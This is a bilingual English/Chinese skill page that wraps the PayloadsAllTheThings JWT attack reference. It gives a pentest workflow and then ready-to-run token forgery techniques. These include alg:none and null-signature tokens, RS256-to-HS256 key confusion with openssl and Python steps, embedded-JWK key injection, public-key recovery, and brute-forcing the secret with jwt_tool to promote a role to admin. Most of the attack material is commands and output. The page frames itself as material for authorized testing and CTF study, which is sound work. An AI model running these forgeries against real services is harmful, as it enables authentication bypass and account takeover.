payloads-jwt
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseJWT Attack Payloads
JWT 攻击载荷
Overview
概述
JWT attack payloads including alg:none, HMAC confusion, kid injection, and JWK spoofing.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the JWT Attack Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
JWT 攻击载荷包括 alg:none、HMAC 混淆、kid 注入和 JWK 欺骗。
此 skill 将完整的 PayloadsAllTheThings (PATT) 载荷库中 JWT 攻击载荷 领域集成到 REA_Skill 框架中。应在获得授权的渗透测试、漏洞赏金研究、安全审计和 CTF 挑战中使用。
Workflow
工作流
1. Recon & Identification
1. 侦察与识别
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
- 识别目标技术栈和注入点
- 枚举端点、参数和输入向量
- 根据下方参考确定适用的载荷类别
2. Payload Selection
2. 载荷选择
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
- 浏览 PATT 载荷库中的攻击类别
- 为目标环境选择适合其编码方式的载荷
- 考虑 WAF 绕过变体和混淆技术
3. Exploitation (Authorized Only)
3. 利用(仅限授权场景)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
- 按顺序测试载荷:被动 → 主动 → 升级
- 记录每个已测试载荷及其响应
- 捕获 PoC 证据(截图、HTTP 日志、curl 输出)
4. Verification & Reporting
4. 验证与报告
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
- 使用精简的最小 PoC 确认漏洞
- 在适用的情况下,将发现映射到 CVE/CWE
- 报告修复建议和代码修复方案
Full PATT Reference
完整 PATT 参考
JWT - JSON Web Token
JWT - JSON Web Token
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
JSON Web Token (JWT) 是一项开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于在各方之间以 JSON 对象形式安全传输信息。由于这些信息经过数字签名,因此可以被验证并信任。
Summary
目录
- Tools
- JWT Format
- JWT Signature
- JWT Signature - Null Signature Attack (CVE-2020-28042)
- JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
- JWT Signature - None Algorithm (CVE-2015-9235)
- JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
- JWT Signature - Key Injection Attack (CVE-2018-0114)
- JWT Signature - Recover Public Key From Signed JWTs
- JWT Secret
- JWT Claims
- Labs
- References
Tools
工具
- ticarpi/jwt_tool - 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
- brendan-rius/c-jwt-cracker - JWT brute force cracker written in C
- PortSwigger/JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper
- jwt.io - Encoder/Decoder
- ticarpi/jwt_tool - 🐍 用于测试、修改和破解 JSON Web Token 的工具包
- brendan-rius/c-jwt-cracker - 使用 C 编写的 JWT 暴力破解器
- PortSwigger/JOSEPH - JavaScript 对象签名与加密渗透测试助手
- jwt.io - 编码器/解码器
JWT Format
JWT 格式
JSON Web Token :
Base64(Header).Base64(Data).Base64(Signature)Example :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOYWhere we can split it into 3 components separated by a dot.
powershell
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signatureJSON Web Token:
Base64(Header).Base64(Data).Base64(Signature)示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoxNDY2Mjc3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY可以将它拆分为由点号分隔的 3 个组成部分。
powershell
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signatureHeader
标头
Registered header parameter names defined in JSON Web Signature (JWS) RFC.
The most basic JWT header is the following JSON.
json
{
"typ": "JWT",
"alg": "HS256"
}Other parameters are registered in the RFC.
| Parameter | Definition | Description |
|---|---|---|
| alg | Algorithm | Identifies the cryptographic algorithm used to secure the JWS |
| jku | JWK Set URL | Refers to a resource for a set of JSON-encoded public keys |
| jwk | JSON Web Key | The public key used to digitally sign the JWS |
| kid | Key ID | The key used to secure the JWS |
| x5u | X.509 URL | URL for the X.509 public key certificate or certificate chain |
| x5c | X.509 Certificate Chain | X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS |
| x5t | X.509 Certificate SHA-1 Thumbprint) | Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate |
| x5t#S256 | X.509 Certificate SHA-256 Thumbprint | Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate |
| typ | Type | Media Type. Usually |
| cty | Content Type | This header parameter is not recommended to use |
| crit | Critical | Extensions and/or JWA are being used |
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
| Digital Signature or MAC Algorithm | Requirements |
|---|---|---|
| HS256 | HMAC using SHA-256 | Required |
| HS384 | HMAC using SHA-384 | Optional |
| HS512 | HMAC using SHA-512 | Optional |
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
| ES256 | ECDSA using P-256 and SHA-256 | Recommended |
| ES384 | ECDSA using P-384 and SHA-384 | Optional |
| ES512 | ECDSA using P-521 and SHA-512 | Optional |
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
| none | No digital signature or MAC performed | Required |
Inject headers with ticarpi/jwt_tool:
python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2在 JSON Web Signature (JWS) RFC 中定义了已注册的标头参数名称。
最基本的 JWT 标头如下所示。
json
{
"typ": "JWT",
"alg": "HS256"
}RFC 中还注册了其他参数。
| 参数 | 定义 | 说明 |
|---|---|---|
| alg | 算法 | 标识用于保护 JWS 的加密算法 |
| jku | JWK Set URL | 指向一组 JSON 编码公钥的资源 |
| jwk | JSON Web Key | 用于对 JWS 进行数字签名的公钥 |
| kid | 密钥 ID | 用于保护 JWS 的密钥 |
| x5u | X.509 URL | X.509 公钥证书或证书链的 URL |
| x5c | X.509 证书链 | PEM 编码的 X.509 公钥证书或证书链,用于对 JWS 进行数字签名 |
| x5t | X.509 证书 SHA-1 指纹 | DER 编码的 X.509 证书的 Base64 URL 编码 SHA-1 指纹(摘要) |
| x5t#S256 | X.509 证书 SHA-256 指纹 | DER 编码的 X.509 证书的 Base64 URL 编码 SHA-256 指纹(摘要) |
| typ | 类型 | 媒体类型。通常为 |
| cty | 内容类型 | 不建议使用此标头参数 |
| crit | 关键 | 正在使用扩展和/或 JWA |
默认算法是 "HS256"(HMAC SHA256 对称加密)。
"RS256" 用于非对称场景(RSA 非对称加密和私钥签名)。
| 数字签名或 MAC 算法 | 要求 |
|---|---|---|
| HS256 | 使用 SHA-256 的 HMAC | 必需 |
| HS384 | 使用 SHA-384 的 HMAC | 可选 |
| HS512 | 使用 SHA-512 的 HMAC | 可选 |
| RS256 | 使用 SHA-256 的 RSASSA-PKCS1-v1_5 | 推荐 |
| RS384 | 使用 SHA-384 的 RSASSA-PKCS1-v1_5 | 可选 |
| RS512 | 使用 SHA-512 的 RSASSA-PKCS1-v1_5 | 可选 |
| ES256 | 使用 P-256 和 SHA-256 的 ECDSA | 推荐 |
| ES384 | 使用 P-384 和 SHA-384 的 ECDSA | 可选 |
| ES512 | 使用 P-521 和 SHA-512 的 ECDSA | 可选 |
| PS256 | 使用 SHA-256 和 MGF1 的 RSASSA-PSS,其中 MGF1 使用 SHA-256 | 可选 |
| PS384 | 使用 SHA-384 和 MGF1 的 RSASSA-PSS,其中 MGF1 使用 SHA-384 | 可选 |
| PS512 | 使用 SHA-512 和 MGF1 的 RSASSA-PSS,其中 MGF1 使用 SHA-512 | 可选 |
| none | 不执行数字签名或 MAC | 必需 |
使用 ticarpi/jwt_tool 注入标头:
python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2Payload
载荷
json
{
"sub":"1234567890",
"name":"Amazing Haxx0r",
"exp":"1466270722",
"admin":true
}Claims are the predefined keys and their values:
- iss: issuer of the token
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
- iat: The time the JWT was issued. Can be used to determine the age of the JWT
- nbf: "not before" is a future time when the token will become active.
- jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
- sub: subject of the token (rarely used)
- aud: audience of the token (also rarely used)
Inject payload claims with ticarpi/jwt_tool:
python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3json
{
"sub":"1234567890",
"name":"Amazing Haxx0r",
"exp":"1466270722",
"admin":true
}声明是预定义的键及其值:
- iss:令牌的颁发者
- exp:过期时间戳(拒绝已经过期的令牌)。注意:按照规范定义,该值必须以秒为单位。
- iat:JWT 的签发时间,可用于确定 JWT 的签发时长
- nbf:“not before”,表示令牌未来生效的时间。
- jti:JWT 的唯一标识符,用于防止 JWT 被重复使用或重放。
- sub:令牌的主体(很少使用)
- aud:令牌的受众(也很少使用)
使用 ticarpi/jwt_tool 注入载荷声明:
python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3JWT Signature
JWT 签名
JWT Signature - Null Signature Attack (CVE-2020-28042)
JWT 签名 - 空签名攻击 (CVE-2020-28042)
Send a JWT with HS256 algorithm without a signature like
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.Exploit:
ps1
python3 jwt_tool.py JWT_HERE -X nDeconstructed:
json
{"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022}发送一个使用 HS256 算法但不携带签名的 JWT,例如
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.利用方式:
ps1
python3 jwt_tool.py JWT_HERE -X n解析结构:
json
{"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022}JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
JWT 签名 - 泄露正确签名 (CVE-2019-7644)
Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
- jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61
- CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT
ps1
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=发送一个签名错误的 JWT,端点可能会返回错误并泄露正确签名。
- jwt-dotnet/jwt:需要紧急安全修复:每次触发 SignatureVerificationException 时都会泄露正确签名…… #61
- CVE-2019-7644:Auth0-WCF-Service-JWT 中的安全漏洞
ps1
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=JWT Signature - None Algorithm (CVE-2015-9235)
JWT 签名 - None 算法 (CVE-2015-9235)
JWT supports a algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
NoneNone algorithm variants:
noneNoneNONEnOnE
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you remove the signature
Alternatively you can modify an existing JWT (be careful with the expiration time)
-
Using ticarpi/jwt_toolps1
python3 jwt_tool.py [JWT_HERE] -X a -
Manually editing the JWTpython
import jwt jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' decodedToken = jwt.decode(jwtToken, verify=False) # decode the token before encoding with type 'None' noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) print(noneEncoded.decode())
JWT 支持使用 算法进行签名。这可能是为了调试应用程序而引入的,但可能对应用程序安全造成严重影响。
NoneNone 算法变体:
noneNoneNONEnOnE
要利用此漏洞,只需解码 JWT 并更改用于签名的算法,然后提交新的 JWT。但是,除非移除签名,否则此方法不会生效。
也可以修改现有的 JWT(请注意过期时间)
-
ps1
python3 jwt_tool.py [JWT_HERE] -X a -
手动编辑 JWTpython
import jwt jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' decodedToken = jwt.decode(jwtToken, verify=False) # decode the token before encoding with type 'None' noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) print(noneEncoded.decode())
JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
JWT 签名 - 密钥混淆攻击 RS256 到 HS256 (CVE-2016-5431)
If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server:
openssl s_client -connect example.com:443 | openssl x509 -pubkey -nooutThe algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
python
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256'):warning: This behavior is fixed in the python library and will return this error . You need to install the following version: .
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.pip install pyjwt==0.4.3-
Using ticarpi/jwt_toolps1
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem -
Using portswigger/JWT Editor
- Find the public key, usually in or
/jwks.json/.well-known/jwks.json - Load it in the JWT Editor Keys tab, click .
New RSA Key - . In the dialog, paste the JWK that you obtained earlier:
{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"} - Select the PEM radio button and copy the resulting PEM key.
- Go to the Decoder tab and Base64-encode the PEM.
- Go back to the JWT Editor Keys tab and generate a in JWK format.
New Symmetric Key - Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
- Edit the JWT token alg to and the data.
HS256 - Click and keep the option:
SignDon't modify header
- Find the public key, usually in
-
Manually using the following steps to edit an RS256 JWT token into an HS256
-
Convert our public key (key.pem) into HEX with this command.powershell
$ cat key.pem | xxd -p | tr -d "\\n" 2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a -
Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.powershell
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0 -
Convert signature (Hex to "base64 URL")powershell
python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")" -
Add signature to edited payloadpowershell
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
-
如果服务器代码预期收到 设置为 RSA 的令牌,却收到 设置为 HMAC 的令牌,那么它在验证签名时可能会 inadvertently 将公钥用作 HMAC 对称密钥。
algalg由于攻击者有时能够获取公钥,因此可以先将标头中的算法修改为 HS256,再使用 RSA 公钥对数据进行签名。当应用程序与其 TLS Web 服务器使用同一 RSA 密钥对时,可通过以下方式获取公钥:
openssl s_client -connect example.com:443 | openssl x509 -pubkey -nooutHS256 算法使用秘密密钥对每条消息进行签名和验证。 RS256 算法使用私钥对消息进行签名,并使用公钥进行身份验证。
python
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256'):warning: Python 库中的此行为已修复,并会返回错误 。需要安装以下版本:。
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.pip install pyjwt==0.4.3-
ps1
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem -
- 查找公钥,通常位于 或
/jwks.json/.well-known/jwks.json - 在 JWT Editor 的 Keys 标签页中加载该公钥,点击 。
New RSA Key - 在对话框中粘贴之前获取的 JWK:
{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"} - 选择 PEM 单选按钮,并复制生成的 PEM 密钥。
- 进入 Decoder 标签页,对 PEM 进行 Base64 编码。
- 返回 JWT Editor 的 Keys 标签页,以 JWK 格式生成 。
New Symmetric Key - 将刚复制并经过 Base64 编码的 PEM 密钥替换到生成的 k 参数值中。
- 将 JWT 令牌的 alg 修改为 ,并修改数据。
HS256 - 点击 ,并保持
Sign选项Don't modify header
- 查找公钥,通常位于
-
使用以下步骤手动将 RS256 JWT 令牌编辑为 HS256
-
使用以下命令将公钥(key.pem)转换为 HEX。powershell
$ cat key.pem | xxd -p | tr -d "\n" 2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a -
将公钥作为 ASCII hex 提供,并使用之前编辑过的令牌生成 HMAC 签名。powershell
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0 -
转换签名(从 Hex 转换为 "base64 URL")powershell
python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")" -
将签名添加到编辑后的载荷powershell
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
-
JWT Signature - Key Injection Attack (CVE-2018-0114)
JWT 签名 - 密钥注入攻击 (CVE-2018-0114)
A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
Exploit:
-
Using ticarpi/jwt_toolps1
python3 jwt_tool.py [JWT_HERE] -X i -
Using portswigger/JWT Editor
- Add a
New RSA key - In the JWT's Repeater tab, edit data
- >
AttackEmbedded JWK
- Add a
Deconstructed:
json
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"kid": "jwt_tool",
"use": "sig",
"e": "AQAB",
"n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
}
}.
{"login":"admin"}.
[Signed with new Private key; Public key injected]Cisco node-jose 开源库 0.11.0 之前版本中的一个漏洞,可能允许未经身份验证的远程攻击者使用令牌内嵌的密钥对令牌重新签名。该漏洞源于 node-jose 遵循 JSON Web Signature (JWS) 标准。该标准规定,表示公钥的 JSON Web Key (JWK) 可以嵌入 JWS 的标头中,随后验证方会信任该公钥。攻击者可以移除原始签名、向标头添加新公钥,然后使用与 JWK 标头中嵌入的公钥相对应的攻击者自有私钥对对象进行签名,从而伪造有效的 JWS 对象。
利用方式:
-
ps1
python3 jwt_tool.py [JWT_HERE] -X i -
- 添加
New RSA key - 在 JWT 的 Repeater 标签页中编辑数据
- >
AttackEmbedded JWK
- 添加
解析结构:
json
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"kid": "jwt_tool",
"use": "sig",
"e": "AQAB",
"n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
}
}.
{"login":"admin"}.
[Signed with new Private key; Public key injected]JWT Signature - Recover Public Key From Signed JWTs
JWT 签名 - 从已签名 JWT 中恢复公钥
The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
SecuraBV/jws2pubkey: compute an RSA public key from two signed JWTs
ps1
$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
Computing public key. This may take a minute...
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}RS256、RS384 和 RS512 算法使用带有 PKCS#1 v1.5 填充的 RSA 作为其签名方案。这意味着一旦获得两条不同的消息及其对应签名,就可以计算出公钥。
SecuraBV/jws2pubkey:从两个已签名的 JWT 计算 RSA 公钥
ps1
$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
Computing public key. This may take a minute...
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}JWT Secret
JWT 密钥
To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
创建 JWT 时,需要使用秘密密钥对标头和载荷进行签名,从而生成签名。该秘密密钥必须妥善保密和安全存储,以防止未经授权访问 JWT 或篡改其内容。如果攻击者能够获取秘密密钥,他们便可以创建、修改或签署自己的令牌,从而绕过预期的安全控制。
Encode and Decode JWT with the secret
使用密钥编码和解码 JWT
-
Using ticarpi/jwt_tool:ps1
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T Token header values: [+] alg = "HS256" [+] typ = "JWT" Token payload values: [+] name = "John Doe" -
Using pyjwt:
pip install pyjwtpythonimport jwt encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') jwt.decode(encoded, 'secret', algorithms=['HS256'])
-
使用 ticarpi/jwt_tool:ps1
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T Token header values: [+] alg = "HS256" [+] typ = "JWT" Token payload values: [+] name = "John Doe" -
使用 pyjwt:
pip install pyjwtpythonimport jwt encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') jwt.decode(encoded, 'secret', algorithms=['HS256'])
Break JWT secret
破解 JWT 密钥
Useful list of 3502 public-available JWT: wallarm/jwt-secrets/jwt.secrets.list, including , , etc.
your_jwt_secretchange_this_super_secret_random_string一份包含 3502 个公开可用 JWT 密钥的实用列表:wallarm/jwt-secrets/jwt.secrets.list,其中包括 、 等。
your_jwt_secretchange_this_super_secret_random_stringJWT tool
JWT 工具
First, bruteforce the "secret" key used to compute the signature using ticarpi/jwt_tool
powershell
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -CThen edit the field inside the JSON Web Token.
powershell
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step
Please select a field number (or 0 to Continue):
